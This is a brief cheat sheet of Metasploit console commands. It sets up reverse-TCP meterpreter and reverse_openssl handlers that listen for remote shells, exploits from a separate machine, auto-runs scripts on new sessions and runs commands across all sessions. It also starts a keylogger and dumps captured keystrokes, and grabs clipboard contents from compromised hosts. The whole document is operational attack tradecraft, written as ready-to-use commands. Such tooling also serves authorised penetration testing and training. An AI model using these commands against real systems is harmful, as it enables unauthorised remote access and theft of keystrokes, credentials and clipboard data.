Some metasploit tricks

Attacker and handler live on different machines

Start handler which will receive connection

use exploit/multi/handler
set PAYLOAD linux/x64/meterpreter/reverse_tcp
set LHOST 0.0.0.0
set LPORT 1337
set ExitOnSession false
exploit -j

Exploit vulnerability from a different machine

use exploit/...
...
set PAYLOAD linux/x64/meterpreter/reverse_tcp
set LHOST <IP address of host where handler listens>
set LPORT 1337
set DisablePayloadHandler true
exploit -z

Automation

Set a script that will be executed on new sessions

set AutoRunScript multi_console_command -rc /usr/src/metasploit-framework/scripts/resource/your.rc

Set a script that will be executed on msfconsole startup

./msfconsole -r some.rc

some.rc example:

use exploit/multi/handler
set payload cmd/unix/reverse_openssl
set lhost 0.0.0.0
set lport 1337
set ExitOnSession false
exploit -j

View sessions list

sessions

Drop into an interactive session

sessions -i 1

Switch to another session

ctrl+z or background

Exec command on meterpreter session -i N or ALL

sessions -C sysinfo

Exec command on shell session -i N or ALL

sessions -c whoami

Run keylogger module

sessions -C keyscan_start

wait some time...

sessions -C keyscan_dump

Use extapi (capture clipboard for example)

load extapi
clipboard_get_data